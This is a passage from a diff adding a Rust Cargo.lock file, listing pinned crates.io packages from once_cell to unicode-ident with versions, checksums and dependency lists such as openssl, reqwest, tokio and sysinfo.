     855 +checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1"
     856 +dependencies = [
     857 + "hermit-abi",
     858 + "libc",
     859 +]
     860 + 
     861 +[[package]]
     862 +name = "once_cell"
     863 +version = "1.13.1"
     864 +source = "registry+https://github.com/rust-lang/crates.io-index"
     865 +checksum = "074864da206b4973b84eb91683020dbefd6a8c3f0f38e054d93954e891935e4e"
     866 + 
     867 +[[package]]
     868 +name = "opaque-debug"
     869 +version = "0.2.3"
     870 +source = "registry+https://github.com/rust-lang/crates.io-index"
     871 +checksum = "2839e79665f131bdb5782e51f2c6c9599c133c6098982a54c794358bf432529c"
     872 + 
     873 +[[package]]
     874 +name = "openssl"
     875 +version = "0.10.41"
     876 +source = "registry+https://github.com/rust-lang/crates.io-index"
     877 +checksum = "618febf65336490dfcf20b73f885f5651a0c89c64c2d4a8c3662585a70bf5bd0"
     878 +dependencies = [
     879 + "bitflags",
     880 + "cfg-if 1.0.0",
     881 + "foreign-types",
     882 + "libc",
     883 + "once_cell",
     884 + "openssl-macros",
     885 + "openssl-sys",
     886 +]
     887 + 
     888 +[[package]]
     889 +name = "openssl-macros"
     890 +version = "0.1.0"
     891 +source = "registry+https://github.com/rust-lang/crates.io-index"
     892 +checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c"
     893 +dependencies = [
     894 + "proc-macro2",
     895 + "quote",
     896 + "syn",
     897 +]
     898 + 
     899 +[[package]]
     900 +name = "openssl-probe"
     901 +version = "0.1.5"
     902 +source = "registry+https://github.com/rust-lang/crates.io-index"
     903 +checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
     904 + 
     905 +[[package]]
     906 +name = "openssl-sys"
     907 +version = "0.9.75"
     908 +source = "registry+https://github.com/rust-lang/crates.io-index"
     909 +checksum = "e5f9bd0c2710541a3cda73d6f9ac4f1b240de4ae261065d309dbe73d9dceb42f"
     910 +dependencies = [
     911 + "autocfg 1.1.0",
     912 + "cc",
     913 + "libc",
     914 + "pkg-config",
     915 + "vcpkg",
     916 +]
     917 + 
     918 +[[package]]
     919 +name = "os_str_bytes"
     920 +version = "6.3.0"
     921 +source = "registry+https://github.com/rust-lang/crates.io-index"
     922 +checksum = "9ff7415e9ae3fff1225851df9e0d9e4e5479f947619774677a63572e55e80eff"
     923 + 
     924 +[[package]]
     925 +name = "parking_lot"
     926 +version = "0.9.0"
     927 +source = "registry+https://github.com/rust-lang/crates.io-index"
     928 +checksum = "f842b1982eb6c2fe34036a4fbfb06dd185a3f5c8edfaacdf7d1ea10b07de6252"
     929 +dependencies = [
     930 + "lock_api",
     931 + "parking_lot_core",
     932 + "rustc_version",
     933 +]
     934 + 
     935 +[[package]]
     936 +name = "parking_lot_core"
     937 +version = "0.6.2"
     938 +source = "registry+https://github.com/rust-lang/crates.io-index"
     939 +checksum = "b876b1b9e7ac6e1a74a6da34d25c42e17e8862aa409cbbbdcfc8d86c6f3bc62b"
     940 +dependencies = [
     941 + "cfg-if 0.1.10",
     942 + "cloudabi",
     943 + "libc",
     944 + "redox_syscall 0.1.57",
     945 + "rustc_version",
     946 + "smallvec",
     947 + "winapi 0.3.9",
     948 +]
     949 + 
     950 +[[package]]
     951 +name = "percent-encoding"
     952 +version = "1.0.1"
     953 +source = "registry+https://github.com/rust-lang/crates.io-index"
     954 +checksum = "31010dd2e1ac33d5b46a5b413495239882813e0369f8ed8a5e266f173602f831"
     955 + 
     956 +[[package]]
     957 +name = "percent-encoding"
     958 +version = "2.1.0"
     959 +source = "registry+https://github.com/rust-lang/crates.io-index"
     960 +checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e"
     961 + 
     962 +[[package]]
     963 +name = "pin-project-lite"
     964 +version = "0.2.9"
     965 +source = "registry+https://github.com/rust-lang/crates.io-index"
     966 +checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116"
     967 + 
     968 +[[package]]
     969 +name = "pin-utils"
     970 +version = "0.1.0"
     971 +source = "registry+https://github.com/rust-lang/crates.io-index"
     972 +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
     973 + 
     974 +[[package]]
     975 +name = "pkg-config"
     976 +version = "0.3.25"
     977 +source = "registry+https://github.com/rust-lang/crates.io-index"
     978 +checksum = "1df8c4ec4b0627e53bdf214615ad287367e482558cf84b109250b37464dc03ae"
     979 + 
     980 +[[package]]
     981 +name = "proc-macro-error"
     982 +version = "1.0.4"
     983 +source = "registry+https://github.com/rust-lang/crates.io-index"
     984 +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
     985 +dependencies = [
     986 + "proc-macro-error-attr",
     987 + "proc-macro2",
     988 + "quote",
     989 + "syn",
     990 + "version_check 0.9.4",
     991 +]
     992 + 
     993 +[[package]]
     994 +name = "proc-macro-error-attr"
     995 +version = "1.0.4"
     996 +source = "registry+https://github.com/rust-lang/crates.io-index"
     997 +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
     998 +dependencies = [
     999 + "proc-macro2",
     1000 + "quote",
     1001 + "version_check 0.9.4",
     1002 +]
     1003 + 
     1004 +[[package]]
     1005 +name = "proc-macro2"
     1006 +version = "1.0.43"
     1007 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1008 +checksum = "0a2ca2c61bc9f3d74d2886294ab7b9853abd9c1ad903a3ac7815c58989bb7bab"
     1009 +dependencies = [
     1010 + "unicode-ident",
     1011 +]
     1012 + 
     1013 +[[package]]
     1014 +name = "quote"
     1015 +version = "1.0.21"
     1016 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1017 +checksum = "bbe448f377a7d6961e30f5955f9b8d106c3f5e449d493ee1b125c1d43c2b5179"
     1018 +dependencies = [
     1019 + "proc-macro2",
     1020 +]
     1021 + 
     1022 +[[package]]
     1023 +name = "rand"
     1024 +version = "0.6.5"
     1025 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1026 +checksum = "6d71dacdc3c88c1fde3885a3be3fbab9f35724e6ce99467f7d9c5026132184ca"
     1027 +dependencies = [
     1028 + "autocfg 0.1.8",
     1029 + "libc",
     1030 + "rand_chacha",
     1031 + "rand_core 0.4.2",
     1032 + "rand_hc",
     1033 + "rand_isaac",
     1034 + "rand_jitter",
     1035 + "rand_os",
     1036 + "rand_pcg",
     1037 + "rand_xorshift",
     1038 + "winapi 0.3.9",
     1039 +]
     1040 + 
     1041 +[[package]]
     1042 +name = "rand_chacha"
     1043 +version = "0.1.1"
     1044 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1045 +checksum = "556d3a1ca6600bfcbab7c7c91ccb085ac7fbbcd70e008a98742e7847f4f7bcef"
     1046 +dependencies = [
     1047 + "autocfg 0.1.8",
     1048 + "rand_core 0.3.1",
     1049 +]
     1050 + 
     1051 +[[package]]
     1052 +name = "rand_core"
     1053 +version = "0.3.1"
     1054 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1055 +checksum = "7a6fdeb83b075e8266dcc8762c22776f6877a63111121f5f8c7411e5be7eed4b"
     1056 +dependencies = [
     1057 + "rand_core 0.4.2",
     1058 +]
     1059 + 
     1060 +[[package]]
     1061 +name = "rand_core"
     1062 +version = "0.4.2"
     1063 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1064 +checksum = "9c33a3c44ca05fa6f1807d8e6743f3824e8509beca625669633be0acbdf509dc"
     1065 + 
     1066 +[[package]]
     1067 +name = "rand_hc"
     1068 +version = "0.1.0"
     1069 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1070 +checksum = "7b40677c7be09ae76218dc623efbf7b18e34bced3f38883af07bb75630a21bc4"
     1071 +dependencies = [
     1072 + "rand_core 0.3.1",
     1073 +]
     1074 + 
     1075 +[[package]]
     1076 +name = "rand_isaac"
     1077 +version = "0.1.1"
     1078 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1079 +checksum = "ded997c9d5f13925be2a6fd7e66bf1872597f759fd9dd93513dd7e92e5a5ee08"
     1080 +dependencies = [
     1081 + "rand_core 0.3.1",
     1082 +]
     1083 + 
     1084 +[[package]]
     1085 +name = "rand_jitter"
     1086 +version = "0.1.4"
     1087 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1088 +checksum = "1166d5c91dc97b88d1decc3285bb0a99ed84b05cfd0bc2341bdf2d43fc41e39b"
     1089 +dependencies = [
     1090 + "libc",
     1091 + "rand_core 0.4.2",
     1092 + "winapi 0.3.9",
     1093 +]
     1094 + 
     1095 +[[package]]
     1096 +name = "rand_os"
     1097 +version = "0.1.3"
     1098 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1099 +checksum = "7b75f676a1e053fc562eafbb47838d67c84801e38fc1ba459e8f180deabd5071"
     1100 +dependencies = [
     1101 + "cloudabi",
     1102 + "fuchsia-cprng",
     1103 + "libc",
     1104 + "rand_core 0.4.2",
     1105 + "rdrand",
     1106 + "winapi 0.3.9",
     1107 +]
     1108 + 
     1109 +[[package]]
     1110 +name = "rand_pcg"
     1111 +version = "0.1.2"
     1112 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1113 +checksum = "abf9b09b01790cfe0364f52bf32995ea3c39f4d2dd011eac241d2914146d0b44"
     1114 +dependencies = [
     1115 + "autocfg 0.1.8",
     1116 + "rand_core 0.4.2",
     1117 +]
     1118 + 
     1119 +[[package]]
     1120 +name = "rand_xorshift"
     1121 +version = "0.1.1"
     1122 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1123 +checksum = "cbf7e9e623549b0e21f6e97cf8ecf247c1a8fd2e8a992ae265314300b2455d5c"
     1124 +dependencies = [
     1125 + "rand_core 0.3.1",
     1126 +]
     1127 + 
     1128 +[[package]]
     1129 +name = "rayon"
     1130 +version = "1.5.3"
     1131 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1132 +checksum = "bd99e5772ead8baa5215278c9b15bf92087709e9c1b2d1f97cdb5a183c933a7d"
     1133 +dependencies = [
     1134 + "autocfg 1.1.0",
     1135 + "crossbeam-deque",
     1136 + "either",
     1137 + "rayon-core",
     1138 +]
     1139 + 
     1140 +[[package]]
     1141 +name = "rayon-core"
     1142 +version = "1.9.3"
     1143 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1144 +checksum = "258bcdb5ac6dad48491bb2992db6b7cf74878b0384908af124823d118c99683f"
     1145 +dependencies = [
     1146 + "crossbeam-channel",
     1147 + "crossbeam-deque",
     1148 + "crossbeam-utils 0.8.11",
     1149 + "num_cpus",
     1150 +]
     1151 + 
     1152 +[[package]]
     1153 +name = "rdrand"
     1154 +version = "0.4.0"
     1155 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1156 +checksum = "678054eb77286b51581ba43620cc911abf02758c91f93f479767aed0f90458b2"
     1157 +dependencies = [
     1158 + "rand_core 0.3.1",
     1159 +]
     1160 + 
     1161 +[[package]]
     1162 +name = "redox_syscall"
     1163 +version = "0.1.57"
     1164 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1165 +checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce"
     1166 + 
     1167 +[[package]]
     1168 +name = "redox_syscall"
     1169 +version = "0.2.16"
     1170 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1171 +checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
     1172 +dependencies = [
     1173 + "bitflags",
     1174 +]
     1175 + 
     1176 +[[package]]
     1177 +name = "remove_dir_all"
     1178 +version = "0.5.3"
     1179 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1180 +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
     1181 +dependencies = [
     1182 + "winapi 0.3.9",
     1183 +]
     1184 + 
     1185 +[[package]]
     1186 +name = "reqwest"
     1187 +version = "0.11.11"
     1188 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1189 +checksum = "b75aa69a3f06bbcc66ede33af2af253c6f7a86b1ca0033f60c580a27074fbf92"
     1190 +dependencies = [
     1191 + "base64 0.13.0",
     1192 + "bytes 1.2.1",
     1193 + "encoding_rs",
     1194 + "futures-core",
     1195 + "futures-util",
     1196 + "h2",
     1197 + "http",
     1198 + "http-body",
     1199 + "hyper 0.14.20",
     1200 + "hyper-tls",
     1201 + "ipnet",
     1202 + "js-sys",
     1203 + "lazy_static",
     1204 + "log 0.4.17",
     1205 + "mime 0.3.16",
     1206 + "native-tls",
     1207 + "percent-encoding 2.1.0",
     1208 + "pin-project-lite",
     1209 + "serde",
     1210 + "serde_json",
     1211 + "serde_urlencoded",
     1212 + "tokio",
     1213 + "tokio-native-tls",
     1214 + "tower-service",
     1215 + "url 2.2.2",
     1216 + "wasm-bindgen",
     1217 + "wasm-bindgen-futures",
     1218 + "web-sys",
     1219 + "winreg",
     1220 +]
     1221 + 
     1222 +[[package]]
     1223 +name = "rustc_version"
     1224 +version = "0.2.3"
     1225 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1226 +checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a"
     1227 +dependencies = [
     1228 + "semver",
     1229 +]
     1230 + 
     1231 +[[package]]
     1232 +name = "ryu"
     1233 +version = "1.0.11"
     1234 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1235 +checksum = "4501abdff3ae82a1c1b477a17252eb69cee9e66eb915c1abaa4f44d873df9f09"
     1236 + 
     1237 +[[package]]
     1238 +name = "safemem"
     1239 +version = "0.3.3"
     1240 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1241 +checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072"
     1242 + 
     1243 +[[package]]
     1244 +name = "schannel"
     1245 +version = "0.1.20"
     1246 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1247 +checksum = "88d6731146462ea25d9244b2ed5fd1d716d25c52e4d54aa4fb0f3c4e9854dbe2"
     1248 +dependencies = [
     1249 + "lazy_static",
     1250 + "windows-sys",
     1251 +]
     1252 + 
     1253 +[[package]]
     1254 +name = "scopeguard"
     1255 +version = "1.1.0"
     1256 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1257 +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
     1258 + 
     1259 +[[package]]
     1260 +name = "security-framework"
     1261 +version = "2.7.0"
     1262 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1263 +checksum = "2bc1bb97804af6631813c55739f771071e0f2ed33ee20b68c86ec505d906356c"
     1264 +dependencies = [
     1265 + "bitflags",
     1266 + "core-foundation",
     1267 + "core-foundation-sys",
     1268 + "libc",
     1269 + "security-framework-sys",
     1270 +]
     1271 + 
     1272 +[[package]]
     1273 +name = "security-framework-sys"
     1274 +version = "2.6.1"
     1275 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1276 +checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556"
     1277 +dependencies = [
     1278 + "core-foundation-sys",
     1279 + "libc",
     1280 +]
     1281 + 
     1282 +[[package]]
     1283 +name = "semver"
     1284 +version = "0.9.0"
     1285 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1286 +checksum = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403"
     1287 +dependencies = [
     1288 + "semver-parser",
     1289 +]
     1290 + 
     1291 +[[package]]
     1292 +name = "semver-parser"
     1293 +version = "0.7.0"
     1294 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1295 +checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
     1296 + 
     1297 +[[package]]
     1298 +name = "serde"
     1299 +version = "1.0.144"
     1300 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1301 +checksum = "0f747710de3dcd43b88c9168773254e809d8ddbdf9653b84e2554ab219f17860"
     1302 +dependencies = [
     1303 + "serde_derive",
     1304 +]
     1305 + 
     1306 +[[package]]
     1307 +name = "serde_derive"
     1308 +version = "1.0.144"
     1309 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1310 +checksum = "94ed3a816fb1d101812f83e789f888322c34e291f894f19590dc310963e87a00"
     1311 +dependencies = [
     1312 + "proc-macro2",
     1313 + "quote",
     1314 + "syn",
     1315 +]
     1316 + 
     1317 +[[package]]
     1318 +name = "serde_json"
     1319 +version = "1.0.85"
     1320 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1321 +checksum = "e55a28e3aaef9d5ce0506d0a14dbba8054ddc7e499ef522dd8b26859ec9d4a44"
     1322 +dependencies = [
     1323 + "itoa",
     1324 + "ryu",
     1325 + "serde",
     1326 +]
     1327 + 
     1328 +[[package]]
     1329 +name = "serde_urlencoded"
     1330 +version = "0.7.1"
     1331 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1332 +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
     1333 +dependencies = [
     1334 + "form_urlencoded",
     1335 + "itoa",
     1336 + "ryu",
     1337 + "serde",
     1338 +]
     1339 + 
     1340 +[[package]]
     1341 +name = "sha-1"
     1342 +version = "0.8.2"
     1343 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1344 +checksum = "f7d94d0bede923b3cea61f3f1ff57ff8cdfd77b400fb8f9998949e0cf04163df"
     1345 +dependencies = [
     1346 + "block-buffer",
     1347 + "digest",
     1348 + "fake-simd",
     1349 + "opaque-debug",
     1350 +]
     1351 + 
     1352 +[[package]]
     1353 +name = "slab"
     1354 +version = "0.4.7"
     1355 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1356 +checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef"
     1357 +dependencies = [
     1358 + "autocfg 1.1.0",
     1359 +]
     1360 + 
     1361 +[[package]]
     1362 +name = "smallvec"
     1363 +version = "0.6.14"
     1364 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1365 +checksum = "b97fcaeba89edba30f044a10c6a3cc39df9c3f17d7cd829dd1446cab35f890e0"
     1366 +dependencies = [
     1367 + "maybe-uninit",
     1368 +]
     1369 + 
     1370 +[[package]]
     1371 +name = "socket2"
     1372 +version = "0.4.6"
     1373 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1374 +checksum = "10c98bba371b9b22a71a9414e420f92ddeb2369239af08200816169d5e2dd7aa"
     1375 +dependencies = [
     1376 + "libc",
     1377 + "winapi 0.3.9",
     1378 +]
     1379 + 
     1380 +[[package]]
     1381 +name = "strsim"
     1382 +version = "0.10.0"
     1383 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1384 +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
     1385 + 
     1386 +[[package]]
     1387 +name = "syn"
     1388 +version = "1.0.99"
     1389 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1390 +checksum = "58dbef6ec655055e20b86b15a8cc6d439cca19b667537ac6a1369572d151ab13"
     1391 +dependencies = [
     1392 + "proc-macro2",
     1393 + "quote",
     1394 + "unicode-ident",
     1395 +]
     1396 + 
     1397 +[[package]]
     1398 +name = "sysinfo"
     1399 +version = "0.25.3"
     1400 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1401 +checksum = "71eb43e528fdc239f08717ec2a378fdb017dddbc3412de15fff527554591a66c"
     1402 +dependencies = [
     1403 + "cfg-if 1.0.0",
     1404 + "core-foundation-sys",
     1405 + "libc",
     1406 + "ntapi",
     1407 + "once_cell",
     1408 + "rayon",
     1409 + "winapi 0.3.9",
     1410 +]
     1411 + 
     1412 +[[package]]
     1413 +name = "tempfile"
     1414 +version = "3.3.0"
     1415 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1416 +checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4"
     1417 +dependencies = [
     1418 + "cfg-if 1.0.0",
     1419 + "fastrand",
     1420 + "libc",
     1421 + "redox_syscall 0.2.16",
     1422 + "remove_dir_all",
     1423 + "winapi 0.3.9",
     1424 +]
     1425 + 
     1426 +[[package]]
     1427 +name = "termcolor"
     1428 +version = "1.1.3"
     1429 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1430 +checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755"
     1431 +dependencies = [
     1432 + "winapi-util",
     1433 +]
     1434 + 
     1435 +[[package]]
     1436 +name = "textwrap"
     1437 +version = "0.15.0"
     1438 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1439 +checksum = "b1141d4d61095b28419e22cb0bbf02755f5e54e0526f97f1e3d1d160e60885fb"
     1440 + 
     1441 +[[package]]
     1442 +name = "thiserror"
     1443 +version = "1.0.32"
     1444 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1445 +checksum = "f5f6586b7f764adc0231f4c79be7b920e766bb2f3e51b3661cdb263828f19994"
     1446 +dependencies = [
     1447 + "thiserror-impl",
     1448 +]
     1449 + 
     1450 +[[package]]
     1451 +name = "thiserror-impl"
     1452 +version = "1.0.32"
     1453 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1454 +checksum = "12bafc5b54507e0149cdf1b145a5d80ab80a90bcd9275df43d4fff68460f6c21"
     1455 +dependencies = [
     1456 + "proc-macro2",
     1457 + "quote",
     1458 + "syn",
     1459 +]
     1460 + 
     1461 +[[package]]
     1462 +name = "time"
     1463 +version = "0.1.44"
     1464 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1465 +checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255"
     1466 +dependencies = [
     1467 + "libc",
     1468 + "wasi 0.10.0+wasi-snapshot-preview1",
     1469 + "winapi 0.3.9",
     1470 +]
     1471 + 
     1472 +[[package]]
     1473 +name = "tinyvec"
     1474 +version = "1.6.0"
     1475 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1476 +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
     1477 +dependencies = [
     1478 + "tinyvec_macros",
     1479 +]
     1480 + 
     1481 +[[package]]
     1482 +name = "tinyvec_macros"
     1483 +version = "0.1.0"
     1484 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1485 +checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c"
     1486 + 
     1487 +[[package]]
     1488 +name = "tokio"
     1489 +version = "1.20.1"
     1490 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1491 +checksum = "7a8325f63a7d4774dd041e363b2409ed1c5cbbd0f867795e661df066b2b0a581"
     1492 +dependencies = [
     1493 + "autocfg 1.1.0",
     1494 + "bytes 1.2.1",
     1495 + "libc",
     1496 + "memchr",
     1497 + "mio 0.8.4",
     1498 + "num_cpus",
     1499 + "once_cell",
     1500 + "pin-project-lite",
     1501 + "socket2",
     1502 + "winapi 0.3.9",
     1503 +]
     1504 + 
     1505 +[[package]]
     1506 +name = "tokio-codec"
     1507 +version = "0.1.2"
     1508 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1509 +checksum = "25b2998660ba0e70d18684de5d06b70b70a3a747469af9dea7618cc59e75976b"
     1510 +dependencies = [
     1511 + "bytes 0.4.12",
     1512 + "futures",
     1513 + "tokio-io",
     1514 +]
     1515 + 
     1516 +[[package]]
     1517 +name = "tokio-executor"
     1518 +version = "0.1.10"
     1519 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1520 +checksum = "fb2d1b8f4548dbf5e1f7818512e9c406860678f29c300cdf0ebac72d1a3a1671"
     1521 +dependencies = [
     1522 + "crossbeam-utils 0.7.2",
     1523 + "futures",
     1524 +]
     1525 + 
     1526 +[[package]]
     1527 +name = "tokio-io"
     1528 +version = "0.1.13"
     1529 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1530 +checksum = "57fc868aae093479e3131e3d165c93b1c7474109d13c90ec0dda2a1bbfff0674"
     1531 +dependencies = [
     1532 + "bytes 0.4.12",
     1533 + "futures",
     1534 + "log 0.4.17",
     1535 +]
     1536 + 
     1537 +[[package]]
     1538 +name = "tokio-native-tls"
     1539 +version = "0.3.0"
     1540 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1541 +checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b"
     1542 +dependencies = [
     1543 + "native-tls",
     1544 + "tokio",
     1545 +]
     1546 + 
     1547 +[[package]]
     1548 +name = "tokio-reactor"
     1549 +version = "0.1.12"
     1550 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1551 +checksum = "09bc590ec4ba8ba87652da2068d150dcada2cfa2e07faae270a5e0409aa51351"
     1552 +dependencies = [
     1553 + "crossbeam-utils 0.7.2",
     1554 + "futures",
     1555 + "lazy_static",
     1556 + "log 0.4.17",
     1557 + "mio 0.6.23",
     1558 + "num_cpus",
     1559 + "parking_lot",
     1560 + "slab",
     1561 + "tokio-executor",
     1562 + "tokio-io",
     1563 + "tokio-sync",
     1564 +]
     1565 + 
     1566 +[[package]]
     1567 +name = "tokio-sync"
     1568 +version = "0.1.8"
     1569 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1570 +checksum = "edfe50152bc8164fcc456dab7891fa9bf8beaf01c5ee7e1dd43a397c3cf87dee"
     1571 +dependencies = [
     1572 + "fnv",
     1573 + "futures",
     1574 +]
     1575 + 
     1576 +[[package]]
     1577 +name = "tokio-tcp"
     1578 +version = "0.1.4"
     1579 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1580 +checksum = "98df18ed66e3b72e742f185882a9e201892407957e45fbff8da17ae7a7c51f72"
     1581 +dependencies = [
     1582 + "bytes 0.4.12",
     1583 + "futures",
     1584 + "iovec",
     1585 + "mio 0.6.23",
     1586 + "tokio-io",
     1587 + "tokio-reactor",
     1588 +]
     1589 + 
     1590 +[[package]]
     1591 +name = "tokio-tls"
     1592 +version = "0.2.1"
     1593 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1594 +checksum = "354b8cd83825b3c20217a9dc174d6a0c67441a2fae5c41bcb1ea6679f6ae0f7c"
     1595 +dependencies = [
     1596 + "futures",
     1597 + "native-tls",
     1598 + "tokio-io",
     1599 +]
     1600 + 
     1601 +[[package]]
     1602 +name = "tokio-util"
     1603 +version = "0.7.3"
     1604 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1605 +checksum = "cc463cd8deddc3770d20f9852143d50bf6094e640b485cb2e189a2099085ff45"
     1606 +dependencies = [
     1607 + "bytes 1.2.1",
     1608 + "futures-core",
     1609 + "futures-sink",
     1610 + "pin-project-lite",
     1611 + "tokio",
     1612 + "tracing",
     1613 +]
     1614 + 
     1615 +[[package]]
     1616 +name = "tower-service"
     1617 +version = "0.3.2"
     1618 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1619 +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52"
     1620 + 
     1621 +[[package]]
     1622 +name = "tracing"
     1623 +version = "0.1.36"
     1624 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1625 +checksum = "2fce9567bd60a67d08a16488756721ba392f24f29006402881e43b19aac64307"
     1626 +dependencies = [
     1627 + "cfg-if 1.0.0",
     1628 + "pin-project-lite",
     1629 + "tracing-core",
     1630 +]
     1631 + 
     1632 +[[package]]
     1633 +name = "tracing-core"
     1634 +version = "0.1.29"
     1635 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1636 +checksum = "5aeea4303076558a00714b823f9ad67d58a3bbda1df83d8827d21193156e22f7"
     1637 +dependencies = [
     1638 + "once_cell",
     1639 +]
     1640 + 
     1641 +[[package]]
     1642 +name = "traitobject"
     1643 +version = "0.1.0"
     1644 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1645 +checksum = "efd1f82c56340fdf16f2a953d7bda4f8fdffba13d93b00844c25572110b26079"
     1646 + 
     1647 +[[package]]
     1648 +name = "try-lock"
     1649 +version = "0.2.3"
     1650 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1651 +checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642"
     1652 + 
     1653 +[[package]]
     1654 +name = "typeable"
     1655 +version = "0.1.2"
     1656 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1657 +checksum = "1410f6f91f21d1612654e7cc69193b0334f909dcf2c790c4826254fbb86f8887"
     1658 + 
     1659 +[[package]]
     1660 +name = "typenum"
     1661 +version = "1.15.0"
     1662 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1663 +checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987"
     1664 + 
     1665 +[[package]]
     1666 +name = "unicase"
     1667 +version = "1.4.2"
     1668 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1669 +checksum = "7f4765f83163b74f957c797ad9253caf97f103fb064d3999aea9568d09fc8a33"
     1670 +dependencies = [
     1671 + "version_check 0.1.5",
     1672 +]
     1673 + 
     1674 +[[package]]
     1675 +name = "unicode-bidi"
     1676 +version = "0.3.8"
     1677 +source = "registry+https://github.com/rust-lang/crates.io-index"
     1678 +checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992"
     1679 + 
     1680 +[[package]]
     1681 +name = "unicode-ident"
     1682 +version = "1.0.3"
     1683 +source = "registry+https://github.com/rust-lang/crates.io-index"
